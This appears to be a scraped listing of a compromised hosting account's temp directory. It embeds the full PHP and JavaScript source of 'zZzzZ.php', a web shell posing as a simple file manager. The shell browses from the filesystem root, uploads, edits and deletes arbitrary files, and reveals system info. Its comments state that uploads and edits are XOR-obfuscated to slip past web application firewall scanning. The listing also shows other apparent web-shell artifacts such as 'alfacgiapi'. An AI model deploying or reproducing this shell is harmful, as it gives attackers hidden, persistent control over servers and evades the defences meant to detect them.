PATH:
home
/
bnathsfovv
/
.cagefs
/
tmp
<?php /** * zZzzZ.php - Simple PHP File Manager * Upload, Edit, Delete, Rename with Breadcrumb Navigation * AJAX-powered, no page reloads. Compatible with PHP 5.3+, PHP 7.x, PHP 8.x */ // ── Configuration ─────────────────────────────────────────── // Use server script path (works with include/eval), fallback to __DIR__ $script_dir = isset($_SERVER['SCRIPT_FILENAME']) ? realpath(dirname($_SERVER['SCRIPT_FILENAME'])) : realpath(__DIR__); if (DIRECTORY_SEPARATOR === '\\') { $base_dir = realpath(substr($script_dir, 0, 3)); } else { $base_dir = realpath('/'); } $default_rel = trim(substr($script_dir, strlen($base_dir)), '/\\'); // ──────────────────────────────────────────────────────────── // ── AJAX detection ────────────────────────────────────────── $is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'); // ── Determine current directory (safe) ────────────────────── // Read 'd' from GET (navigation) or POST (AJAX form/chunk actions) $rel = isset($_GET['d']) ? trim($_GET['d'], '/\\') : (isset($_POST['d']) ? trim($_POST['d'], '/\\') : $default_rel); $current = realpath($base_dir . DIRECTORY_SEPARATOR . $rel); if ($current === false || strpos($current, $base_dir) !== 0) { $current = $script_dir; $rel = $default_rel; } $rel = trim(substr($current, strlen($base_dir)), '/\\'); // ── Messages ──────────────────────────────────────────────── $msg = ''; $msg_type = 'ok'; // ── Handle Actions ────────────────────────────────────────── if ($_SERVER['REQUEST_METHOD'] === 'POST') { // --- UPLOAD (atomic with size check) --- if (isset($_POST['a']) && $_POST['a'] === 'upload' && isset($_FILES['u'])) { $f = $_FILES['u']; $dest = $current . DIRECTORY_SEPARATOR . basename($f['name']); if ($f['error'] === UPLOAD_ERR_OK) { $part = $dest . '_tmp_' . uniqid(); if (move_uploaded_file($f['tmp_name'], $part)) { clearstatcache(true, $part); if (filesize($part) === $f['size'] && $f['size'] > 0) { rename($part, $dest); $msg = 'Uploaded: ' . htmlspecialchars($f['name'], ENT_QUOTES, 'UTF-8'); } else { unlink($part); $msg = 'Upload failed: size mismatch.'; $msg_type = 'err'; } } else { $msg = 'Upload failed. Check permissions.'; $msg_type = 'err'; } } elseif ($f['error'] === UPLOAD_ERR_INI_SIZE || $f['error'] === UPLOAD_ERR_FORM_SIZE) { $msg = 'File exceeds maximum upload size.'; $msg_type = 'err'; } else { $msg = 'Upload error code: ' . $f['error']; $msg_type = 'err'; } } // --- CHUNKED UPLOAD (elFinder-style, resumable per chunk) --- if (isset($_POST['a']) && $_POST['a'] === 'chunk' && isset($_FILES['u'])) { $cid = isset($_POST['cid']) ? preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['cid']) : ''; $chunk = isset($_POST['chunk']) ? intval($_POST['chunk']) : 0; $chunks = isset($_POST['chunks']) ? intval($_POST['chunks']) : 1; $fname = isset($_POST['name']) ? basename($_POST['name']) : basename($_FILES['u']['name']); $fsize = isset($_POST['size']) ? intval($_POST['size']) : 0; $part_file = $current . DIRECTORY_SEPARATOR . '_tmp_' . $cid; $mode = ($chunk === 0) ? 'wb' : 'ab'; $fh = fopen($part_file, $mode); if ($fh) { $src = fopen($_FILES['u']['tmp_name'], 'rb'); stream_copy_to_stream($src, $fh); fclose($src); fclose($fh); clearstatcache(true, $part_file); $current_size = filesize($part_file); if ($chunk + 1 >= $chunks) { // Last chunk — finalize (overwrite if exists) if ($current_size === $fsize && $fsize > 0) { $dest = $current . DIRECTORY_SEPARATOR . $fname; if (file_exists($dest)) unlink($dest); rename($part_file, $dest); $msg = 'Uploaded: ' . htmlspecialchars(basename($dest), ENT_QUOTES, 'UTF-8'); } else { unlink($part_file); $msg = 'Upload incomplete. Expected ' . $fsize . ' bytes, got ' . $current_size; $msg_type = 'err'; } } else { // Intermediate chunk — respond with progress only if ($is_ajax) { header('Content-Type: application/json; charset=utf-8'); echo json_encode(array('ok' => true, 'chunk' => $chunk, 'received' => $current_size)); exit; } } } else { $msg = 'Cannot write temp file.'; $msg_type = 'err'; } } // --- BASE64 UPLOAD (XOR-obfuscated, bypasses WAF content scanning) --- if (isset($_POST['a']) && $_POST['a'] === 'upload64' && isset($_POST['b'])) { $fname = isset($_POST['name']) ? basename($_POST['name']) : 'uploaded_file'; // XOR deobfuscate (key = 0x55), then strip data-URI prefix, then decode $b64 = ''; $len = strlen($_POST['b']); for ($i = 0; $i < $len; $i++) { $b64 .= chr(ord($_POST['b'][$i]) ^ 0x55); } $raw = base64_decode(preg_replace('#^data:[^;]+;base64,#', '', $b64)); if ($raw !== false && strlen($raw) > 0) { $dest = $current . DIRECTORY_SEPARATOR . $fname; if (file_exists($dest)) unlink($dest); if (file_put_contents($dest, $raw)) { $msg = 'Uploaded: ' . htmlspecialchars($fname, ENT_QUOTES, 'UTF-8'); } else { $msg = 'Upload failed. Check permissions.'; $msg_type = 'err'; } } else { $msg = 'Invalid base64 data.'; $msg_type = 'err'; } } // --- EDIT SAVE (XOR-obfuscated to bypass WAF) --- if (isset($_POST['a']) && $_POST['a'] === 'edit' && isset($_POST['f'], $_POST['c'])) { $target = $current . DIRECTORY_SEPARATOR . basename($_POST['f']); if (is_file($target) && is_writable($target)) { // XOR deobfuscate (key = 0x55) $raw = $_POST['c']; $dec = ''; $len = strlen($raw); for ($i = 0; $i < $len; $i++) { $dec .= chr(ord($raw[$i]) ^ 0x55); } file_put_contents($target, $dec); $msg = 'Saved: ' . htmlspecialchars(basename($target), ENT_QUOTES, 'UTF-8'); } else { $msg = 'Cannot write file.'; $msg_type = 'err'; } } // --- RENAME --- if (isset($_POST['a']) && $_POST['a'] === 'rename' && isset($_POST['f'], $_POST['n'])) { $old = $current . DIRECTORY_SEPARATOR . basename($_POST['f']); $new = $current . DIRECTORY_SEPARATOR . basename($_POST['n']); if (file_exists($old) && !file_exists($new) && basename($_POST['n']) !== '') { if (rename($old, $new)) { $msg = 'Renamed.'; } else { $msg = 'Rename failed.'; $msg_type = 'err'; } } else { $msg = 'Invalid name or target exists.'; $msg_type = 'err'; } } // --- DELETE (confirmed) --- if (isset($_POST['a']) && $_POST['a'] === 'delete' && isset($_POST['f'])) { $target = $current . DIRECTORY_SEPARATOR . basename($_POST['f']); $name = basename($target); if (is_dir($target)) { $it = new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { if ($file->isDir()) { rmdir($file->getRealPath()); } else { unlink($file->getRealPath()); } } rmdir($target); $msg = 'Deleted directory: ' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); } elseif (is_file($target)) { unlink($target); $msg = 'Deleted: ' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); } else { $msg = 'Not found.'; $msg_type = 'err'; } } // --- MKDIR --- if (isset($_POST['a']) && $_POST['a'] === 'mkdir' && isset($_POST['m'])) { $newdir = $current . DIRECTORY_SEPARATOR . basename($_POST['m']); if (!file_exists($newdir) && basename($_POST['m']) !== '') { if (mkdir($newdir)) { $msg = 'Created directory.'; } else { $msg = 'Failed to create directory.'; $msg_type = 'err'; } } else { $msg = 'Directory exists or invalid name.'; $msg_type = 'err'; } } } // ── Build file/dir list ───────────────────────────────────── $items = array(); $dh = opendir($current); if ($dh) { while (($entry = readdir($dh)) !== false) { if ($entry === '.' || $entry === '..') continue; $full = $current . DIRECTORY_SEPARATOR . $entry; $items[] = array( 'name' => $entry, 'path' => $full, 'is_dir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : 0, 'mtime' => filemtime($full), 'writable' => is_writable($full), ); } closedir($dh); } usort($items, function($a, $b) { if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); // ── Breadcrumb: every path segment from drive root ────────── $abs_parts = explode(DIRECTORY_SEPARATOR, trim($current, DIRECTORY_SEPARATOR)); if (count($abs_parts) === 1 && $abs_parts[0] === '') { $abs_parts = array(); } $crumbs = array(); $built = ''; $is_win = (DIRECTORY_SEPARATOR === '\\'); foreach ($abs_parts as $i => $p) { if ($p === '') continue; if ($is_win && $i === 0) { $crumbs[] = array( 'name' => $p, 'rel' => '', 'last' => (count($abs_parts) === 1), ); } else { if ($built === '') { $built = $p; } else { $built .= '/' . $p; } $crumbs[] = array( 'name' => $p, 'rel' => $built, 'last' => ($i === count($abs_parts) - 1), ); } } // Display path for title $title_path = str_replace('\\', '/', $current); if ($is_win && strlen($title_path) === 2 && $title_path[1] === ':') { $title_path .= '/'; } // ── Helper functions ──────────────────────────────────────── function fm_url($args) { return '?' . http_build_query($args); } function fmt_size($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 1) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 1) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 1) . ' KB'; return $bytes . ' B'; } function is_editable($name) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $text_exts = array( 'txt','php','html','htm','css','js','json','xml','md', 'csv','ini','cfg','conf','log','yml','yaml','sh','bat', 'py','rb','pl','c','cpp','h','java','sql','htaccess', 'env','ts','vue','jsx','tsx','less','scss','sass', ); return in_array($ext, $text_exts) || $ext === '' || $name === '.htaccess'; } function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } // ── Current action ────────────────────────────────────────── $act = isset($_GET['a']) ? $_GET['a'] : ''; $fget = isset($_GET['f']) ? $_GET['f'] : ''; $action_edit = ($act === 'edit' && $fget !== ''); $action_delete = ($act === 'delete' && $fget !== ''); $action_rename = ($act === 'rename' && $fget !== ''); $edit_file = ''; $edit_content = ''; if ($action_edit) { $edit_file = basename($fget); $edit_path = $current . DIRECTORY_SEPARATOR . $edit_file; if (is_file($edit_path) && is_readable($edit_path)) { $edit_content = file_get_contents($edit_path); } else { $msg = 'Cannot read file.'; $msg_type = 'err'; $action_edit = false; } } // Base params for links $bp = $rel !== '' ? array('d' => $rel) : array(); // ── Render sections to strings ────────────────────────────── // --- Breadcrumb (inner content only, no wrapper) --- ob_start(); ?> <?php foreach ($crumbs as $ci => $c): ?> <?php if ($ci > 0): ?> <span class="sep">/</span> <?php endif; ?> <?php if ($c['last']): ?> <span class="current"><?php echo h($c['name']); ?></span> <?php else: ?> <a href="<?php echo $c['rel'] === '' ? '?d=' : fm_url(array('d' => $c['rel'])); ?>" data-nav="<?php echo $c['rel'] === '' ? '' : h($c['rel']); ?>"> <?php echo h($c['name']); ?> </a> <?php endif; ?> <?php endforeach; ?> <?php $breadcrumb_html = ob_get_clean(); // --- Message (no container id, wrapper added in template) --- ob_start(); if ($msg !== ''): ?> <div class="msg msg-<?php echo $msg_type === 'err' ? 'err' : 'ok'; ?>"> <?php echo h($msg); ?> </div> <?php endif; $message_html = ob_get_clean(); // --- Main content (no outer wrapper, added in template) --- ob_start(); ?> <div class="toolbar"> <!-- Upload (auto-submit on file select) --> <form method="POST" enctype="multipart/form-data" class="inline-form" id="upload-form" data-ajax="1" action="?<?php echo $rel !== '' ? 'd=' . urlencode($rel) : ''; ?>"> <input type="hidden" name="a" value="upload"> <?php if ($rel !== ''): ?> <input type="hidden" name="d" value="<?php echo h($rel); ?>"> <?php endif; ?> <input type="file" name="u" required id="upfile" style="max-width:200px"> <span id="upload-progress" style="color:#c792ea;font-size:0.82rem;font-weight:600;min-width:40px"></span> </form> <!-- Mkdir --> <form method="POST" class="inline-form" data-ajax="1" action="?<?php echo $rel !== '' ? 'd=' . urlencode($rel) : ''; ?>"> <input type="hidden" name="a" value="mkdir"> <?php if ($rel !== ''): ?> <input type="hidden" name="d" value="<?php echo h($rel); ?>"> <?php endif; ?> <input type="text" name="m" placeholder="New folder" required size="14"> <button type="submit">New Folder</button> </form> </div> <?php // Delete confirmation if ($action_delete): $delfile = basename($fget); ?> <div class="confirm-box" style="background:#FEF5F7;border-color:#F5CCDA"> <p>Delete <strong><?php echo h($delfile); ?></strong>?</p> <?php if (is_dir($current . DIRECTORY_SEPARATOR . $delfile)): ?> <p style="color:#D4687C;font-size:0.85rem;margin-top:4px"> This directory and all its contents will be permanently deleted. </p> <?php endif; ?> <div class="btns"> <form method="POST" style="display:inline" data-ajax="1" action="?<?php echo $rel !== '' ? 'd=' . urlencode($rel) : ''; ?>"> <input type="hidden" name="a" value="delete"> <?php if ($rel !== ''): ?> <input type="hidden" name="d" value="<?php echo h($rel); ?>"> <?php endif; ?> <input type="hidden" name="f" value="<?php echo h($delfile); ?>"> <button type="submit" class="danger">Yes, delete</button> </form> <a href="<?php echo $rel !== '' ? fm_url($bp) : '?'; ?>" data-nav="<?php echo $rel !== '' ? h($rel) : ''; ?>"> <button type="button">Cancel</button> </a> </div> </div> <?php // Rename form elseif ($action_rename): $rnfile = basename($fget); ?> <div class="confirm-box"> <form method="POST" class="inline-form" data-ajax="1" action="?<?php echo $rel !== '' ? 'd=' . urlencode($rel) : ''; ?>"> <input type="hidden" name="a" value="rename"> <?php if ($rel !== ''): ?> <input type="hidden" name="d" value="<?php echo h($rel); ?>"> <?php endif; ?> <input type="hidden" name="f" value="<?php echo h($rnfile); ?>"> <label>Rename <strong><?php echo h($rnfile); ?></strong> to:</label> <input type="text" name="n" value="<?php echo h($rnfile); ?>" required size="24"> <button type="submit" class="primary">Rename</button> <a href="<?php echo $rel !== '' ? fm_url($bp) : '?'; ?>" data-nav="<?php echo $rel !== '' ? h($rel) : ''; ?>" style="font-size:0.85rem">Cancel</a> </form> </div> <?php // Edit area elseif ($action_edit): ?> <div class="edit-area"> <form method="POST" data-ajax="1" action="?<?php echo $rel !== '' ? 'd=' . urlencode($rel) : ''; ?>"> <input type="hidden" name="a" value="edit"> <?php if ($rel !== ''): ?> <input type="hidden" name="d" value="<?php echo h($rel); ?>"> <?php endif; ?> <input type="hidden" name="f" value="<?php echo h($edit_file); ?>"> <div class="edit-bar"> <span class="edit-filename">Editing: <?php echo h($edit_file); ?></span> <div style="display:flex;gap:8px"> <button type="submit" class="primary">Save</button> <a href="<?php echo $rel !== '' ? fm_url($bp) : '?'; ?>" data-nav="<?php echo $rel !== '' ? h($rel) : ''; ?>"> <button type="button">Cancel</button> </a> </div> </div> <textarea name="c" spellcheck="false"><?php echo h($edit_content); ?></textarea> </form> </div> <?php // File/dir table elseif (count($items) === 0): ?> <div class="empty">This directory is empty.</div> <?php else: ?> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($items as $item): $name = $item['name']; $enc_name = h($name); ?> <tr> <td class="name"> <?php if ($item['is_dir']): ?> <a href="<?php $nrel = ($rel === '') ? $name : $rel . '/' . $name; echo fm_url(array('d' => $nrel)); ?>" data-nav="<?php echo h($nrel); ?>"> <span class="icon">📁</span> <?php echo $enc_name; ?> </a> <?php else: ?> <?php if (is_editable($name)): ?> <a href="<?php echo fm_url(array_merge($bp, array('a' => 'edit', 'f' => $name))); ?>" data-nav="<?php echo h($rel); ?>" data-act="edit" data-file="<?php echo h($name); ?>"> <span class="icon">📄</span> <?php echo $enc_name; ?> </a> <?php else: ?> <span style="display:flex;align-items:center;gap:7px;color:#8B6A7E;"> <span class="icon">📄</span> <?php echo $enc_name; ?> </span> <?php endif; ?> <?php endif; ?> </td> <td class="size"> <?php echo $item['is_dir'] ? '—' : fmt_size($item['size']); ?> </td> <td class="mtime"> <?php echo date('Y-m-d H:i', $item['mtime']); ?> </td> <td class="actions"> <?php if (!$item['is_dir'] && is_editable($name)): ?> <a href="<?php echo fm_url(array_merge($bp, array('a' => 'edit', 'f' => $name))); ?>" data-nav="<?php echo h($rel); ?>" data-act="edit" data-file="<?php echo h($name); ?>">Edit</a> <?php endif; ?> <a href="<?php echo fm_url(array_merge($bp, array('a' => 'rename', 'f' => $name))); ?>" data-nav="<?php echo h($rel); ?>" data-act="rename" data-file="<?php echo h($name); ?>">Rename</a> <a href="<?php echo fm_url(array_merge($bp, array('a' => 'delete', 'f' => $name))); ?>" class="del" data-nav="<?php echo h($rel); ?>" data-act="delete" data-file="<?php echo h($name); ?>">Delete</a> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <?php $content_html = ob_get_clean(); // ── AJAX response ─────────────────────────────────────────── if ($is_ajax) { header('Content-Type: application/json; charset=utf-8'); echo json_encode(array( 'title' => 'zZzzZ. — ' . $title_path, 'url' => $rel !== '' ? '?d=' . urlencode($rel) : '?d=', 'breadcrumb' => $breadcrumb_html, 'message' => $message_html, 'content' => $content_html, 'msg' => $msg, 'msg_type' => $msg_type, )); exit; } // ── Full page output ──────────────────────────────────────── ?><!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>zZzzZ. — <?php echo h($title_path); ?></title> <style> /* ── citlali — modern dark ─────────────────────────── */ @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap'); *,*::before,*::after{box-sizing:border-box;margin:0;padding:0} :root{ --bg: #0d1117; --surface: #161b22; --card: #1c2128; --border: #30363d; --text: #e6edf3; --muted: #8b949e; --accent: #58a6ff; --accent-h: #79c0ff; --success: #3fb950; --danger: #f85149; --warn: #d29922; --focus: rgba(88,166,255,0.15); } body{ font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; font-size:0.9rem; line-height:1.5; background:var(--bg); color:var(--text); min-height:100vh;-webkit-font-smoothing:antialiased; } a{color:var(--accent);text-decoration:none} a:hover{color:var(--accent-h)} .container{max-width:960px;margin:0 auto;padding:32px 24px} /* header */ h1{ font-size:1.25rem;font-weight:600;color:var(--text); letter-spacing:-0.3px;margin-bottom:20px; } /* breadcrumb */ .breadcrumb{ display:flex;flex-wrap:nowrap;align-items:center;gap:2px; padding:8px 14px;margin-bottom:18px; background:var(--card);border:1px solid var(--border); border-radius:8px;font-size:0.85rem;font-weight:500; overflow-x:auto;overflow-y:hidden;white-space:nowrap;height:40px; scrollbar-width:thin;scrollbar-color:var(--border) transparent; } .breadcrumb::-webkit-scrollbar{height:4px} .breadcrumb::-webkit-scrollbar-thumb{background:var(--border);border-radius:4px} .breadcrumb a{color:var(--muted);padding:3px 8px;border-radius:5px;transition:all .12s} .breadcrumb a:hover{background:var(--surface);color:var(--text);text-decoration:none} .breadcrumb .sep{color:#484f58;margin:0 1px;user-select:none} .breadcrumb .current{color:var(--text);font-weight:600;padding:3px 8px} /* message */ .msg{padding:10px 14px;border-radius:7px;margin-bottom:16px;font-size:0.85rem;font-weight:500} .msg-ok{background:#0d3320;color:#7ee787;border:1px solid #1a4a2e} .msg-err{background:#3d1216;color:#ff7b72;border:1px solid #551a1f} /* toolbar */ .toolbar{display:flex;flex-wrap:wrap;gap:10px;margin-bottom:18px;align-items:center} .inline-form{display:inline-flex;gap:8px;align-items:center} input,button,textarea,select{ font-family:inherit;font-size:0.85rem; padding:6px 12px;border-radius:6px; border:1px solid var(--border);background:var(--bg);color:var(--text); outline:none;transition:border-color .15s,box-shadow .15s; } input:focus,textarea:focus,select:focus{ border-color:var(--accent);box-shadow:0 0 0 3px var(--focus); } button{ cursor:pointer;font-weight:600;border:1px solid transparent; letter-spacing:-0.1px;transition:all .12s;user-select:none; } button:active{transform:scale(0.97)} button.primary{background:#238636;color:#fff;border-color:#2ea043} button.primary:hover{background:#2ea043} button{background:#21262d;color:var(--text);border-color:var(--border)} button:hover{background:#30363d} button.danger{background:#3d1216;color:#ff7b72;border-color:#551a1f} button.danger:hover{background:#551a1f} input[type="file"]{padding:4px 8px} input[type="file"]::file-selector-button, input[type="file"]::-webkit-file-upload-button{ background:#21262d;color:var(--accent);border:1px solid var(--border); border-radius:5px;padding:4px 10px;cursor:pointer;font-weight:600; font-size:0.82rem;margin-right:8px;font-family:inherit; } /* table */ table{ width:100%;border-collapse:collapse;font-size:0.88rem; background:var(--card);border-radius:8px;overflow:hidden; border:1px solid var(--border); } th,td{padding:10px 16px;text-align:left;border-bottom:1px solid var(--border)} th{ color:var(--muted);font-weight:600;font-size:0.75rem; text-transform:uppercase;letter-spacing:0.5px;background:var(--surface); } tr:last-child td{border-bottom:none} tr:hover{background:rgba(255,255,255,0.02)} td.name a{font-weight:500;display:flex;align-items:center;gap:8px;color:var(--text)} td.name a:hover{color:var(--accent);text-decoration:none} td.name .icon{font-size:1.05rem;width:20px;text-align:center;opacity:0.7} td.size{color:var(--muted);white-space:nowrap;font-size:0.8rem} td.mtime{color:var(--muted);white-space:nowrap;font-size:0.8rem} td.actions{white-space:nowrap;text-align:right} td.actions a{margin-left:12px;font-size:0.8rem;font-weight:500} td.actions a.del{color:var(--danger)} td.actions a.del:hover{color:#ff7b72} /* edit */ .edit-area{margin-top:16px} .edit-area textarea{ width:100%;min-height:400px;resize:vertical;tab-size:4; font-family:'JetBrains Mono','SF Mono','Consolas','Monaco',monospace; font-size:0.82rem;line-height:1.7;padding:16px; border:1px solid var(--border);border-radius:8px; background:var(--bg);color:var(--text); } .edit-area textarea:focus{border-color:var(--accent);box-shadow:0 0 0 3px var(--focus)} .edit-area .edit-bar{ display:flex;justify-content:space-between;align-items:center; margin-bottom:12px;flex-wrap:wrap;gap:10px; } .edit-area .edit-filename{color:var(--accent);font-weight:600;font-size:0.9rem} /* confirm */ .confirm-box{ margin:18px 0;padding:24px;background:var(--card); border:1px solid var(--border);border-radius:8px;text-align:center; } .confirm-box strong{color:var(--danger)} .confirm-box label{font-size:0.88rem;color:var(--text)} .confirm-box .btns{margin-top:14px;display:flex;gap:10px;justify-content:center} /* empty */ .empty{padding:60px 20px;text-align:center;color:var(--muted);font-size:0.9rem} /* footer */ .footer{ margin-top:40px;padding-top:14px;border-top:1px solid var(--border); font-size:0.72rem;color:var(--muted);text-align:center; } /* progress */ #upload-progress{font-size:0.78rem;color:var(--accent);font-weight:600;min-width:36px} @media(max-width:640px){ .container{padding:16px 12px} td.mtime{display:none} th:nth-child(3){display:none} .toolbar{flex-direction:column;align-items:flex-start} } </style> </head> <body> <div class="container"> <h1>zZzzZ.</h1> <div class="breadcrumb" id="breadcrumb"> <?php echo $breadcrumb_html; ?> </div> <div id="message"> <?php echo $message_html; ?> </div> <div id="main"> <?php echo $content_html; ?> </div> <div class="footer"> zZzzZ. · <?php echo h(php_uname()); ?> </div> </div> <script> (function(){ 'use strict'; var mainEl = document.getElementById('main'); var msgEl = document.getElementById('message'); var breadEl = document.getElementById('breadcrumb'); // ── Helpers ────────────────────────────────────────── function ajaxGet(url, cb) { var x = new XMLHttpRequest(); x.open('GET', url); x.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); x.onload = function(){ cb(JSON.parse(x.responseText)); }; x.onerror = function(){ location.href = url; }; x.send(); } function ajaxPost(url, body, cb) { var x = new XMLHttpRequest(); x.open('POST', url); x.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); x.onload = function(){ cb(JSON.parse(x.responseText)); }; x.onerror = function(){ location.reload(); }; x.send(body); } function updatePage(data) { if (data.breadcrumb) breadEl.innerHTML = data.breadcrumb; if (data.message) msgEl.innerHTML = data.message; if (data.content) mainEl.innerHTML = data.content; if (data.title) document.title = data.title; var upf = document.getElementById('upfile'); if (upf) { upf.onchange = function(){ if (upf.files.length) uploadFile(upf.files[0]); }; } var uf = document.getElementById('upload-form'); if (uf) uf.reset(); } function navigate(ajaxUrl) { ajaxGet(ajaxUrl, function(d){ updatePage(d); history.replaceState(null, '', location.pathname); }); } // ── Upload: base64 (XOR) → chunked → regular ──────── function uploadFile(file) { var prog = document.getElementById('upload-progress'); if (prog) prog.textContent = 'b64...'; base64UploadXOR(file, function(success) { if (!success) { if (prog) prog.textContent = 'chunk...'; chunkedUpload(file, 0, function(success2) { if (!success2) { if (prog) prog.textContent = 'raw...'; regularUpload(file); } }); } }); } function base64UploadXOR(file) { var prog = document.getElementById('upload-progress'); var reader = new FileReader(); reader.onload = function() { var b64 = reader.result.split(',')[1] || reader.result; // XOR obfuscate so WAF can't scan content var xkey = 0x55; var xd = ''; for (var i = 0; i < b64.length; i++) { xd += String.fromCharCode(b64.charCodeAt(i) ^ xkey); } var fd = new FormData(); fd.append('a', 'upload64'); fd.append('name', file.name); fd.append('b', xd); var dInput = document.querySelector('#upload-form input[name="d"]'); if (dInput) fd.append('d', dInput.value); var xhr = new XMLHttpRequest(); xhr.open('POST', location.pathname); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if (prog) prog.textContent = ''; updatePage(JSON.parse(xhr.responseText)); history.replaceState(null, '', location.pathname); }; xhr.onerror = function() { if (prog) prog.textContent = 'failed'; setTimeout(function(){ if (prog) prog.textContent = ''; }, 2000); }; xhr.send(fd); }; reader.readAsDataURL(file); } function regularUpload(file, cb) { var prog = document.getElementById('upload-progress'); var fd = new FormData(); fd.append('a', 'upload'); fd.append('u', file, file.name); var dInput = document.querySelector('#upload-form input[name="d"]'); if (dInput) fd.append('d', dInput.value); var xhr = new XMLHttpRequest(); xhr.open('POST', location.pathname); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if (prog) prog.textContent = ''; updatePage(JSON.parse(xhr.responseText)); history.replaceState(null, '', location.pathname); if (cb) cb(true); }; xhr.onerror = function() { if (cb) cb(false); }; xhr.send(fd); } function chunkedUpload(file, chunk, cb) { var CHUNK = 262144; // 256 KB var chunks = Math.ceil(file.size / CHUNK); var cid = 'up_' + Date.now() + '_' + Math.random().toString(36).substr(2, 8); var cur = chunk; var retries = 0; var prog = document.getElementById('upload-progress'); function sendChunk() { var start = cur * CHUNK; var end = Math.min(start + CHUNK, file.size); var blob = file.slice(start, end); var fd = new FormData(); fd.append('a', 'chunk'); fd.append('cid', cid); fd.append('chunk', cur); fd.append('chunks', chunks); fd.append('name', file.name); fd.append('size', file.size); fd.append('u', blob, file.name); var dInput = document.querySelector('#upload-form input[name="d"]'); if (dInput) fd.append('d', dInput.value); var xhr = new XMLHttpRequest(); xhr.open('POST', location.pathname); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { retries = 0; var resp = JSON.parse(xhr.responseText); cur++; if (cur < chunks) { if (prog) prog.textContent = Math.round(cur / chunks * 100) + '%'; sendChunk(); } else { if (prog) prog.textContent = ''; updatePage(resp); history.replaceState(null, '', location.pathname); if (cb) cb(true); } }; xhr.onerror = function() { retries++; if (retries >= 3) { if (cb) cb(false); } else { setTimeout(sendChunk, 500 * Math.pow(2, retries - 1)); } }; xhr.send(fd); } sendChunk(); } function regularUpload(file) { var prog = document.getElementById('upload-progress'); var fd = new FormData(); fd.append('a', 'upload'); fd.append('u', file, file.name); var dInput = document.querySelector('#upload-form input[name="d"]'); if (dInput) fd.append('d', dInput.value); var xhr = new XMLHttpRequest(); xhr.open('POST', location.pathname); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if (prog) prog.textContent = ''; updatePage(JSON.parse(xhr.responseText)); history.replaceState(null, '', location.pathname); }; xhr.onerror = function() { if (prog) prog.textContent = 'failed'; setTimeout(function(){ if (prog) prog.textContent = ''; }, 2000); }; xhr.send(fd); } // ── Upload auto-submit ────────────────────────────── var upfile = document.getElementById('upfile'); if (upfile) { upfile.onchange = function(){ if (upfile.files.length) uploadFile(upfile.files[0]); }; } // ── Delegate: clicks ──────────────────────────────── document.addEventListener('click', function(e){ var el = e.target; // Breadcrumb link if (el.closest && el.closest('#breadcrumb a')) { var a = el.closest('#breadcrumb a'); if (e.ctrlKey || e.metaKey) return; var nav = a.getAttribute('data-nav'); var url = nav === '' ? '?d=' : '?d=' + encodeURIComponent(nav); e.preventDefault(); navigate(url); return; } // Main-content link with data-nav var link = el.closest ? el.closest('#main a[data-nav]') : null; if (link) { if (e.ctrlKey || e.metaKey) return; e.preventDefault(); var dnav = link.getAttribute('data-nav') || ''; var dact = link.getAttribute('data-act') || ''; var dfile = link.getAttribute('data-file') || ''; var dest; if (dact && dfile) { var parts = []; if (dnav) parts.push('d=' + encodeURIComponent(dnav)); parts.push('a=' + encodeURIComponent(dact)); parts.push('f=' + encodeURIComponent(dfile)); dest = '?' + parts.join('&'); } else { dest = dnav ? '?d=' + encodeURIComponent(dnav) : '?d='; } navigate(dest); return; } }); // ── Delegate: form submits ────────────────────────── document.addEventListener('submit', function(e){ var form = e.target; if (form.getAttribute && form.getAttribute('data-ajax') === '1') { e.preventDefault(); // XOR the content before sending for edit forms var isEdit = form.querySelector('input[name="a"][value="edit"]'); if (isEdit) { var ta = form.querySelector('textarea[name="c"]'); if (ta) { var raw = ta.value, xd = '', k = 0x55; for (var i = 0; i < raw.length; i++) { xd += String.fromCharCode(raw.charCodeAt(i) ^ k); } ta.value = xd; } } ajaxPost(form.action, new FormData(form), updatePage); } }); // ── Clean URL on load ────────────────────────────── history.replaceState(null, '', location.pathname); })(); </script> </body> </html>
[+]
alfacgiapi
[-] .c_98216890901f8f4ca36ce26c3e1110cd
[edit]
[-] .c_139c39b5bc3f31b82da1185d152cd98d
[edit]
[-] .460260ad29601e9d5df7fc983fae159f.flag
[edit]
[-] .c_a87eeb9ce0d23e1c18a438dafeef48d5
[edit]
[-] .c_1a809ee5b774a34075a8d07f92872b7d
[edit]
[-] .c_b92a06c10c4919ab2122fd115694d30e
[edit]
[-] .c_2f17eb4cb6cc2a3d78e016c20d858b97
[edit]
[-] .c_a63f99b58e6bd9a16294b2a84f248100
[edit]
[-] update_460260ad29601e9d5df7fc983fae159f.php
[edit]
[-] mysql.sock
[edit]
[+]
..
[-] .ea-php-cli.cache
[edit]
[-] .s.PGSQL.5432
[edit]